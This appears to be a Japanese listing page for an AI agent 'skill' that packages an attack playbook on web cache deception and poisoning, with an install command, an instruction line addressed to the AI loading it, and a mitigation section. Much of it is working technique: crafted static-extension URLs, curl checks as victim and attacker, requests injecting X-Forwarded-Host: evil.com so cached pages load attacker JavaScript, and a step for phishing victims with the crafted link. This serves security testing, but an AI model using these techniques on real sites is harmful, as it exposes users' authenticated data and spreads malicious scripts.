web-cache-deception について
Web キャッシュデセプションとポイズニングのリスクを評価するセキュリティスキルです。パスの正規化、キャッシュキー、キーに含まれない入力が、認証データの露出や有害な応答のキャッシュにつながる仕組みを解説します。
主な機能
- 01デセプションとポイズニングの区別
- 02パス混同のテストパターン
- 03キー対象外のヘッダーとパラメーターの確認
- 04キャッシュ動作の検証
- 05緩和策の案内
活用シーン
- 01静的ファイル拡張子で認証済みエンドポイントを検査
- 02反映ヘッダーがキャッシュ応答に及ぼす影響の確認
- 03機密ページのキャッシュ制御の点検
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill web-cache-deceptionインストール後、Claude Code で/web-cache-deceptionを入力して読み込まれたか確認します。
同梱ファイルCACHE_POISONING_TECHNIQUES.md
詳細
スキル:Web キャッシュ欺瞞 — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Web キャッシュ欺瞞とポイズニングの手法です。パス混同攻撃、CDN キャッシュ動作の悪用、キャッシュキーの操作、キャッシュ欺瞞(データ窃取)とキャッシュポイズニング(悪意のあるコンテンツの配信)の違いを扱います。2017 年の Black Hat で Omer Gil が発表し、その後大幅に拡充されています。
高度なリファレンス
以下が必要な場合は、CACHE_POISONING_TECHNIQUES.md も読み込んでください。
- Web キャッシュポイズニングと Web キャッシュ欺瞞の明確な違いと、攻撃フローの比較
- キーに含まれないヘッダーのポイズニング(X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、複数の Host ヘッダー)
- キーに含まれないパラメーターのポイズニング(utm_content、fbclid、callback、レスポンスに反映されるがキャッシュキーには含まれない値)
- Fat GET キャッシュポイズニング(リクエストボディのパラメーターがレスポンスに反映されるが、キャッシュキーには含まれない)
- セミコロンによるパラメータークローキングと、重複パラメーターの解析差異
- CDN 固有の動作:Cloudflare、CloudFront、Akamai、Varnish、Fastly(キャッシュキーの構成、デバッグヘッダー、ESI)
- Vary ヘッダーの操作、キャッシュパーティショニング攻撃、Vary の欠落による脆弱性
1. 基本概念
Web キャッシュ欺瞞(認証済みデータの窃取)
攻撃者は、キャッシュが静的コンテンツとみなす URL で認証済みページをリクエストするよう、被害者を誘導します。
Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data
Web キャッシュポイズニング(悪意のあるコンテンツの配信)
攻撃者は、キーに含まれないリクエスト要素(ヘッダー、Cookie)を操作して、キャッシュに悪意のあるレスポンスを保存させます。
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript
2. キャッシュ欺瞞 — 攻撃手法
ステップ 1:キャッシュ対象となるパスパターンを特定する
CDN は通常、ファイル拡張子に基づいてキャッシュします。
.css .js .jpg .png .gif .svg .ico
.woff .woff2 .ttf .pdf .json (sometimes)
ステップ 2:パスの混同をテストする
# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json
# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css
ステップ 3:キャッシュされることを確認する
# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
# Check response headers:
# X-Cache: MISS (first request)
# Age: 0
# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css
# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerable
ステップ 4:被害者に送る
フィッシング、メッセージ、または埋め込みによって、細工した URL を被害者に送ります。
https://target.com/account/profile/tracking.gif
3. キャッシュポイズニング — 攻撃手法
キーに含まれない入力の発見
キャッシュキーには通常、Host、URL パス、クエリ文字列が含まれます。
通常、次の値はキャッシュキーに含まれません:X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、Cookie、カスタムヘッダー。
# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonable
キーに含まれない一般的なヘッダー
X-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto
X-Original-URL X-Rewrite-URL X-Host
X-Forwarded-Server Forwarded True-Client-IP
Host ヘッダーを利用したキャッシュポイズニング
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS
4. パスの正規化の違い
キャッシュ欺瞞の鍵となるのは、CDN とアプリケーションが異なる方法でパスを正規化することです。
| コンポーネント | 動作 |
|---|---|
| CDN(Cloudflare、Akamai) | 拡張子を含む完全な URL パスに基づいてキャッシュします |
| アプリケーション(Rails、Django、Express) | 末尾のパスセグメントや拡張子を無視する場合があります |
| リバースプロキシ(Nginx) | 転送前にパスを削除または書き換える場合があります |
# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css
# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability
5. 実際に使われるキャッシュポイズニングのパターン
X-Forwarded-Host → Open Graph/メタタグへのインジェクション
# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">
# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack
パス区切り文字の細工によるキャッシュ欺瞞
# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css
# Encoded separators:
/account/profile%2F.css
# Trailing dot/space:
/account/profile/.css
/account/profile .css
6. 防御
キャッシュ欺瞞への対策
- 明示的に静的と指定したパスのみをキャッシュします(例:
/static/*、/assets/*) - ファイル拡張子だけを基準にキャッシュしないでください
- 認証が必要なエンドポイントには
Cache-Control: no-store, privateを設定します Vary: Cookieを使用して、ユーザー間でキャッシュが共有されるのを防ぎます
キャッシュポイズニングへの対策
- レスポンスに反映されるすべてのヘッダーをキャッシュキーに含めます
X-Forwarded-*ヘッダーを検証してサニタイズします- 動的コンテンツには
Cache-Control: no-cacheを使用します - CDN のエッジで不明なヘッダーを削除します
6. テストチェックリスト
□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication